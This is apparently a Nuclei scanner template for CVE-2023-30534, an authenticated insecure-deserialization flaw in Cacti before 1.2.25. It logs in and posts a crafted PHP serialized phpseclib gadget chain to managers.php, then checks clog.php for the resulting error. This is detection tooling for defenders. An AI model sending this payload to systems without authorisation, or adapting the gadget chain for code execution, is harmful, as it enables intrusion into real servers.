77 lines
3.4 KiB
YAML
77 lines
3.4 KiB
YAML
id: CVE-2023-30534
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info:
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name: Cacti < 1.2.25 Insecure Deserialization
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author: k0pak4
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severity: medium
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description: |
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Cacti is an open source operational monitoring and fault management framework. There are two instances of insecure deserialization in Cacti version 1.2.24.
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remediation: This issue has been addressed in version 1.2.25.
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reference:
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- https://github.com/Cacti/cacti/security/advisories/GHSA-77rf-774j-6h3p
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- https://nvd.nist.gov/vuln/detail/CVE-2023-30534
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- https://www.fastly.com/blog/cve-2023-30534-insecure-deserialization-in-cacti-prior-to-1-2-25
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- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CFH3J2WVBKY4ZJNMARVOWJQK6PSLPHFH/
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- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WOQFYGLZBAWT4AWNMO7DU73QXWPXTCKH/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
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cvss-score: 4.3
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cve-id: CVE-2023-30534
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cwe-id: CWE-502
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epss-score: 0.09326
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epss-percentile: 0.94128
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cpe: cpe:2.3:a:cacti:cacti:*:*:*:*:*:*:*:*
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metadata:
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verified: "true"
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max-request: 4
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vendor: cacti
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product: cacti
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shodan-query: title:"Cacti"
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tags: cve,cve2023,cacti,authenticated
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http:
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- raw:
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- |
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GET /index.php HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /index.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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__csrf_magic={{url_encode(csrf_token)}}&action=login&login_username={{username}}&login_password={{password}}
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- |
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POST /managers.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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action=actions&action_receiver_notifications=1&selected_items=a%3A2%3A%7Bi%3A7%3Ba%3A1%3A%7Bi%3A0%3BO%3A18%3A%22phpseclib%5CNet%5CSSH1%22%3A2%3A%7Bs%3A6%3A%22bitmap%22%3Bi%3A1%3Bs%3A6%3A%22crypto%22%3BO%3A19%3A%22phpseclib%5CCrypt%5CAES%22%3A8%3A%7Bs%3A10%3A%22block_size%22%3BN%3Bs%3A12%3A%22inline_crypt%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22phpseclib%5CCrypt%5CTripleDES%22%3A6%3A%7Bs%3A10%3A%22block_size%22%3Bs%3A30%3A%221%29%7B%7D%7D%7D%3B+ob_clean%28%29%3Blsdie%28%29%3B+%3F%3E%22%3Bs%3A12%3A%22inline_crypt%22%3BN%3Bs%3A16%3A%22use_inline_crypt%22%3Bi%3A1%3Bs%3A7%3A%22changed%22%3Bi%3A0%3Bs%3A6%3A%22engine%22%3Bi%3A1%3Bs%3A4%3A%22mode%22%3Bi%3A1%3B%7Di%3A1%3Bs%3A26%3A%22_createInlineCryptFunction%22%3B%7Ds%3A16%3A%22use_inline_crypt%22%3Bi%3A1%3Bs%3A7%3A%22changed%22%3Bi%3A0%3Bs%3A6%3A%22engine%22%3Bi%3A1%3Bs%3A4%3A%22mode%22%3Bi%3A1%3Bs%3A6%3A%22bitmap%22%3Bi%3A1%3Bs%3A6%3A%22crypto%22%3Bi%3A1%3B%7D%7D%7Di%3A7%3Bi%3A7%3B%7D&drp_action=2&__csrf_magic={{url_encode(csrf_token)}}
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- |
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GET /clog.php HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: regex
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part: body_4
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regex:
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- "<table[^;]*;['\"]>\\s*(<tr class=['\"]clogError['\"]>[\\s\\S]*unserialize[\\s\\S]*managers.php[\\s\\S]*[Aa]uthenticated)"
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: csrf_token
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part: body
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group: 1
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regex:
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- "var csrfMagicToken = ['\"]([a-z0-9,:;]*)['\"]"
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internal: true
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# digest: 4b0a00483046022100f3e38f0781f127777dd26c5194dfcb797856b2f5466f7539fa49b158639992ac022100d0452ec6319a86301630b12eb1da35b0f2a438f1f33d704995d1802877f0cd33:922c64590222798bb761d5b6d8e72950 |